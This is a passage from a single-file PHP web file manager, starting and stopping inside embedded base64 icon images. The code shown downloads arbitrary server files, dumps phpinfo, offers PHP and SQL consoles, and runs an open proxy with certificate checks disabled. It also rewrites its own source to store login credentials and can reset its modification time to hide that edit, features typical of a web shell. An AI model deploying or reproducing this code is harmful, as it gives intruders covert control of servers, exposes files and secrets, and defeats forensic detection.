nUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>FileXXXXXXXXXXX</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElB